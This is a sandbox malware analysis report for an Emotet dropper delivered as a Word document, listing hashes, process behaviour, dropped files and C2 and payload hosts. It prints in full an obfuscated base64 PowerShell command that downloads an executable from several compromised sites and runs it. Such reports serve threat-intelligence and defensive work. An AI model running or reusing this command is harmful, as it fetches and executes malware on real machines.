analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

form.doc

Full analysis: https://app.any.run/tasks/ac5e7bcf-03ef-4ab4-bead-975e4fb845be
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: October 20, 2020, 08:37:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
trojan
emotet
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Tempore., Author: Clara Dupuy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 20 05:30:00 2020, Last Saved Time/Date: Tue Oct 20 05:30:00 2020, Number of Pages: 1, Number of Words: 2230, Number of Characters: 12717, Security: 8
MD5:

D2237EF6079587E3E5BEC390494DB137

SHA1:

304777135779DF064D9A1A86AE12F4ABD2E52601

SHA256:

AF4CC06ABBC809D10B17B2CA3F1A49333E04F48C1CBDF3D439985B7C4350CCB3

SSDEEP:

3072:xJivKie6B/w2yiWydwd1WO59Sd+l4PJhERTM5/oKUQ2t1nJp1zv8LM6h9/:xJiP/w2P41WO59Sd+l4PJhERTM5/oKUk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • K53his.exe (PID: 2792)
      • AuxiliaryDisplayServices.exe (PID: 1344)

    • EMOTET was detected

      • AuxiliaryDisplayServices.exe (PID: 1344)

    • Changes the autorun value in the registry

      • AuxiliaryDisplayServices.exe (PID: 1344)

    • Connects to CnC server

      • AuxiliaryDisplayServices.exe (PID: 1344)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 2840)
      • K53his.exe (PID: 2792)

    • Starts itself from another location

      • K53his.exe (PID: 2792)

    • Executed via WMI

      • K53his.exe (PID: 2792)
      • POwersheLL.exe (PID: 2840)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 2840)

    • PowerShell script executed

      • POwersheLL.exe (PID: 2840)

    • Connects to server without host name

      • AuxiliaryDisplayServices.exe (PID: 1344)

    • Reads Internet Cache Settings

      • AuxiliaryDisplayServices.exe (PID: 1344)

  • INFO

    • Reads settings of System Certificates

      • POwersheLL.exe (PID: 2840)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2504)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2504)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Tempore.
Subject: -
Author: Clara Dupuy
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:10:20 04:30:00
ModifyDate: 2020:10:20 04:30:00
Pages: 1
Words: 2230
Characters: 12717
Security: Locked for annotations
Company: -
Lines: 105
Paragraphs: 29
CharCountWithSpaces: 14918
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
4
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start winword.exe no specs powershell.exe k53his.exe #EMOTET auxiliarydisplayservices.exe

Process information

PID
CMD
Path
Indicators
Parent process
2504"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\form.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
2840POwersheLL -ENCOD cwBFAFQALQBpAFQAZQBNACAAIAAoACcAdgBBAHIAJwArACcAaQBhAEIAJwArACcAbABFACcAKwAnADoAZgBFAGwAJwApACAAKAAgACAAWwB0AFkAUABlAF0AKAAnAHMAeQBTAFQARQBNACcAKwAnAC4ASQBvAC4AZAAnACsAJwBpAFIARQBDAFQAJwArACcAbwBSAHkAJwApACAAKQAgACAAOwAgACAAJABqAEQAMQAwACAAPQBbAHQAWQBQAEUAXQAoACcAcwB5ACcAKwAnAHMAdABlAE0AJwArACcALgAnACsAJwBuAEUAJwArACcAdAAuAFMARQByAHYASQBDACcAKwAnAEUAcABPAGkAJwArACcAbgBUAE0AQQBOACcAKwAnAGEAZwBlAFIAJwApACAAOwAgAFMAZQB0AC0AaQB0AEUATQAgACAAKAAiAFYAQQByAEkAIgArACIAQQBiACIAKwAiAGwARQA6AHkATwBjAGEAIgApACAAIAAoACAAWwBUAHkAUABFAF0AKAAnAHMAJwArACcAeQBzAHQAJwArACcARQBtAC4AJwArACcAbgBFAFQAJwArACcALgBzAGUAQwAnACsAJwBVAHIASQB0AFkAJwArACcAcAAnACsAJwBSAG8AdABPAEMAbwBMAFQAeQBwAEUAJwApACAAKQA7ACAAIAAkAFcAcgBiAGcAMgA3AHgAPQAoACcAVwBiAGgAcABrACcAKwAnAGsAdQAnACkAOwAkAE4AaABrAHUAYgA5AGwAPQAkAEgAaQBxAF8AbQBjAHAAIAArACAAWwBjAGgAYQByAF0AKAA4ADAAIAAtACAAMwA4ACkAIAArACAAJABaAGQANQBmADgAawBuADsAJABDAHMAeQB1ADcAZQB4AD0AKAAnAEMAdAAnACsAJwAwADQAaQA3AHoAJwApADsAIAAoAGcAZQBUAC0AdgBBAFIAaQBhAEIATABFACAAIAAoACcAZgBFACcAKwAnAEwAJwApACAAKQAuAFYAYQBsAHUAZQA6ADoAYwByAGUAQQBUAEUAZABJAFIAZQBjAHQATwBSAFkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHsAJwArACcAMAAnACsAJwB9AEwAJwArACcAMQB1ADUAJwArACcANQBwACcAKwAnAGwAewAwAH0AJwArACcASAA5AGkAbQBkADQAZAB7ADAAfQAnACkALQBmACAAWwBjAGgAQQBSAF0AOQAyACkAKQA7ACQASgAxAGIANgBuAGUAcQA9ACgAJwBCAHgAaAB5AGIAJwArACcAcwBlACcAKQA7ACAAKABkAEkAcgAgACAAKAAiAHYAYQAiACsAIgByAGkAYQBCAGwAIgArACIARQA6AEoAZAAxADAAIgApACAAKQAuAHYAQQBsAHUAZQA6ADoAcwBlAGMAVQByAEkAVAB5AFAAUgBvAFQAbwBjAG8AbAAgAD0AIAAgACgAVgBhAHIAaQBBAEIAbABFACAAIAAoACIAeQBPACIAKwAiAEMAQQAiACkAIAAtAHYAQQBsAFUAZQBPAE4AbAB5ACkAOgA6AFQAbABTADEAMgA7ACQAUgBzAGwAMwB3AGEAeAA9ACgAJwBQADYAOAA1ACcAKwAnAGUAdwAnACsAJwBnACcAKQA7ACQAVgBqAGQAZQBjAGYAdwAgAD0AIAAoACcASwA1ADMAaABpACcAKwAnAHMAJwApADsAJABaAGMANgByAGkAOABfAD0AKAAnAFAAbwBtAGUAJwArACcAMgB2ACcAKwAnADkAJwApADsAJABKAGQANwBqAHQAaAB3AD0AKAAnAEwAJwArACcAcgBmAGoAaAAyACcAKwAnADkAJwApADsAJABMAHcAeAA4ADEAOAA4AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADEATQBMAEwAJwArACcAMQAnACsAJwB1ADUAJwArACcANQBwAGwAJwArACcAMQBNAEwASAA5AGkAbQBkADQAZAAxAE0ATAAnACkALgBSAGUAUABsAEEAQwBlACgAJwAxAE0ATAAnACwAJwBcACcAKQApACsAJABWAGoAZABlAGMAZgB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAGYAbAAxADIAdABvAD0AKAAnAFAAawAnACsAJwBsAHAAJwArACcAMwByAHAAJwApADsAJABPAGUAdAB5ADkAMQB6AD0ATgBFAHcALQBgAG8AYABCAEoARQBDAHQAIABOAEUAVAAuAFcARQBiAGMATABpAEUAbgBUADsAJABSADQAMgA2AHEANQBfAD0AKAAnAGgAdAB0ACcAKwAnAHAAcwAnACsAJwA6AC8ALwBrAHIAaQB5AGEALgBjAG8ALgB6AGEALwBjAGcAaQAtAGIAaQAnACsAJwBuAC8ARwBnAFMAawBYAFAAYgAvACoAaAB0AHQAcABzADoALwAvACcAKwAnAGMAbwBsACcAKwAnAGUAJwArACcAZwAnACsAJwBpAG8AJwArACcAZABlAGMAbwBtAHUAbgBpAGMAYQAnACsAJwBkAG8AcgBlAHMAcwBvAGMAJwArACcAaQBhAGwAZQBzAGQAZQAnACsAJwBsAGcAdQBhACcAKwAnAHkAYQAnACsAJwBzAC4AYwBvACcAKwAnAG0ALwBnAG0ALQB0AHIAbwAnACsAJwB1AGIAbABlAC8AcwAvACoAaAB0AHQAcABzADoALwAvAHAAcgBvAGQAbwBtAGkAbgBpAG8AcwAnACsAJwBwAHIAdQBlAGIAJwArACcAYQBzAC4AJwArACcAdABrACcAKwAnAC8AcAByAGUAJwArACcAcwB0AGEAJwArACcALwB1ADMAVQAnACsAJwAvACoAaAB0AHQAcAAnACsAJwBzADoALwAvAGsAJwArACcAdQBzAGgAJwArACcAYQBsAGsAYQAnACsAJwBmACcAKwAnAGwAZQAuAGMAJwArACcAbwBtACcAKwAnAC4AbgBwAC8AJwArACcAdwBwAC0AJwArACcAaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAZQBzAC8ARABLAEEALwAqAGgAdAB0AHAAcwA6AC8ALwBzACcAKwAnAG8AbQBvAHMAbABvAHQAdABvAC4AYwBvAG0ALwBzAHEAJwArACcAdQBhAHIAZQBQAGEAeQAnACsAJwAvAEcAJwArACcAUQAnACsAJwBtACcAKwAnAEUAaQBQAHAALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwA6AC8ALwAnACsAJwBhAGYAZgBpAGwAaQBhAHQAZQBrAGkAbgBnAC4AeAAnACsAJwB5AHoAJwArACcALwBwAGEAJwArACcAcgB0AGkAbgBnAC0AbwB1ACcAKwAnAHQALwAxAE0AJwArACcASQAvACoAJwArACcAaAB0ACcAKwAnAHQAcABzADoALwAvAGQAYQBuAHQAbwBrACcAKwAnAHAAYQAtAG0AYQByAGsAZQAnACsAJwB0AC4AbwByACcAKwAnAGcALwB3AHAALwAzAFMAJwArACcAagAnACsAJwA5AFAAJwArACcAegB0AC8AKgAnACsAJwBoAHQAdABwACcAKwAnAHMAOgAvAC8AZwAnACsAJwBhAGIAaQBuAGUAdAAnACsAJwBlAGQAZQBzAGMAbwBkACcAKwAnAGkAJwArACcAZgBpAGMAJwArACcAYQAnACsAJwBjAGkAbwBuAGIAJwArACcAaQBvAGwAbwAnACsAJwBnACcAKwAnAGkAJwArACcAYwAnACsAJwBhAC4AYwBvAG0ALwAnACsAJwB3AHAALQBhAGQAbQBpACcAKwAnAG4ALwAnACsAJwBPADYANgAvACcAKQAuAFMAUABMAEkAVAAoACQATQBxAG8AZABtAGoANQAgACsAIAAkAE4AaABrAHUAYgA5AGwAIAArACAAJABMAGcAYQAzADMAMgBtACkAOwAkAE0AMABfAHYAagBpAHgAPQAoACcAUwAnACsAJwB4AHkAaQA3AGcAJwArACcAOAAnACkAOwBmAG8AcgBlAGEAYwBoACAAKAAkAEUAcwBzAHoAeAB2ADUAIABpAG4AIAAkAFIANAAyADYAcQA1AF8AKQB7AHQAcgB5AHsAJABPAGUAdAB5ADkAMQB6AC4AZABPAHcATgBsAE8AYQBkAGYASQBMAEUAKAAkAEUAcwBzAHoAeAB2ADUALAAgACQATAB3AHgAOAAxADgAOAApADsAJABCAHgANAAzAG4ANQBiAD0AKAAnAEkAdAAnACsAJwBpAHYAcwB3ACcAKwAnAHIAJwApADsASQBmACAAKAAoAGcARQB0AC0AaQBgAFQAYABlAE0AIAAkAEwAdwB4ADgAMQA4ADgAKQAuAGwAZQBOAEcAVABIACAALQBnAGUAIAAzADcANwA2ADgAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACgAJwB3AGkAbgAzACcAKwAnADIAXwBQAHIAbwBjACcAKwAnAGUAJwArACcAcwBzACcAKQApAC4AYwBSAGUAYQBUAGUAKAAkAEwAdwB4ADgAMQA4ADgAKQA7ACQATAA5ADQAcwA1AGoAaQA9ACgAJwBOAG8AMQB2AHYAOAAnACsAJwBrACcAKQA7AGIAcgBlAGEAawA7ACQAQgB6AGYAMAB2AHMAeQA9ACgAJwBCAGoAMgAnACsAJwBfACcAKwAnAGMAbgBkACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQBrAHAAagBlAHIAaQA9ACgAJwBPADAANQBwAG0AJwArACcAbQAzACcAKQA= C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2792C:\Users\admin\L1u55pl\H9imd4d\K53his.exeC:\Users\admin\L1u55pl\H9imd4d\K53his.exe
wmiprvse.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
1344"C:\Users\admin\AppData\Local\mscorier\AuxiliaryDisplayServices.exe"C:\Users\admin\AppData\Local\mscorier\AuxiliaryDisplayServices.exe
K53his.exe
User:
admin
Integrity Level:
MEDIUM
Description:
AdvancedTaskManager MFC Application
Version:
1, 0, 0, 1
Total events
2 104
Read events
1 213
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR3FFC.tmp.cvr —
MD5:—
SHA256:—
2840POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SW18J69I44RWT6O7WGQA.temp —
MD5:—
SHA256:—
2840POwersheLL.exeC:\Users\admin\L1u55pl\H9imd4d\K53his.exe —
MD5:—
SHA256:—
2504WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:3F38725990A2E5275FE09A2ED3562A89
SHA256:7B84026E1ADCCF6ADF17984ED5ECAD01AFE5FD3F99C57E22AA41D83F3F6BF559
2840POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
2504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:5617B1019019EF7815B31236ED41C27E
SHA256:8E3AF31FFE057064AF49BF89B23FBA0357126ECE317A1A79EF023F761E09B84A
2840POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF2d4a2d.TMPbinary
MD5:D6EE8C34E4C28999F00E385C8808E7DE
SHA256:39D598C410E9903C046FC3390F746643C2FDADA6A544E378311F5DC2EA26DFCB
2504WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$form.docpgc
MD5:4D5BF4563E1E20B77912C5C64D3B1143
SHA256:5F8E27E095CBDB5D8F1BDE48ACF79068B5E3A77F8A1BD8FD5B8A47330CB0D43D
2792K53his.exeC:\Users\admin\AppData\Local\mscorier\AuxiliaryDisplayServices.exeexecutable
MD5:C777A701CBDFFB76CA7BC3E601ADF560
SHA256:DACDB4AB6D7BA4BED42447DD583E0FA032D1091D321AFE9F5217E7F8A60F67C4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
10
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1344
AuxiliaryDisplayServices.exe
POST
200
24.230.141.169:80
http://24.230.141.169/2ALLPV/TMDSTU9qo/Y8OFAUyKiHL/YJcUIt/IVfbKbBl/
US
binary
132 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
1344
AuxiliaryDisplayServices.exe
24.230.141.169:80
—
Midcontinent Communications
US
malicious
2840
POwersheLL.exe
196.41.123.124:443
kriya.co.za
Cybersmart
ZA
suspicious
2840
POwersheLL.exe
52.117.30.9:443
prodominiospruebas.tk
—
US
suspicious
2840
POwersheLL.exe
209.126.6.81:443
colegiodecomunicadoressocialesdelguayas.com
CDM
US
unknown
2840
POwersheLL.exe
93.104.208.221:443
kushalkafle.com.np
M-net Telekommunikations GmbH
DE
unknown
2840
POwersheLL.exe
172.67.130.248:443
somoslotto.com
—
US
unknown
2840
POwersheLL.exe
95.217.145.213:443
affiliateking.xyz
Hetzner Online GmbH
DE
suspicious

DNS requests

Domain
IP
Reputation
kriya.co.za
  • 196.41.123.124
suspicious
colegiodecomunicadoressocialesdelguayas.com
  • 209.126.6.81
unknown
prodominiospruebas.tk
  • 52.117.30.9
suspicious
kushalkafle.com.np
  • 93.104.208.221
unknown
somoslotto.com
  • 172.67.130.248
  • 104.28.4.48
  • 104.28.5.48
unknown
affiliateking.xyz
  • 95.217.145.213
suspicious

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET DNS Query to a .tk domain - Likely Hostile
2840
POwersheLL.exe
Potentially Bad Traffic
ET INFO Observed Let's Encrypt Certificate for Suspicious TLD (.xyz)
1344
AuxiliaryDisplayServices.exe
A Network Trojan was detected
MALWARE [PTsecurity] Emotet
1 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
form.doc